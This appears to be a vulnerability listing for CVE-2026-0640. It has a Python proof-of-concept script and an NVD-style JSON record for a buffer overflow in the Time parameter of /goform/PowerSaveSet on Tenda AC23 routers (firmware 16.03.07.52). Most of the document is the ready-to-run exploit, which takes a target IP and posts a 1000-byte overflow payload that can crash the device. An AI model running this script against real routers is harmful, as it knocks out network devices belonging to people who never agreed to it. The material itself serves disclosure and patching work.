CVE-2026-0640

import requests import sys # CVE-2026-0640 PoC - Tenda AC23 Buffer Overflow in /goform/PowerSaveSet # Target: Tenda AC23 router firmware 16.03.07.52 # Vulnerability: Buffer overflow via Time parameter in sscanf function def exploit(target_ip, target_port=80): """ Exploit buffer overflow in PowerSaveSet endpoint """ url = f"http://{target_ip}:{target_port}/goform/PowerSaveSet" # Buffer overflow payload - 1000 bytes to overflow the buffer # Adjust payload size based on actual buffer size overflow_length = 1000 payload = "A" * overflow_length # Construct malicious Time parameter data = { "Time": payload } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

{"cve": {"id": "CVE-2026-0640", "sourceIdentifier": "[email protected]", "published": "2026-01-06T16:15:57.293", "lastModified": "2026-01-15T19:17:30.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Tenda AC23 16.03.07.52. This affects the function sscanf of the file /goform/PowerSaveSet. Executing a manipulation of the argument Time can lead to buffer overflow. The attack can be launched remotely. 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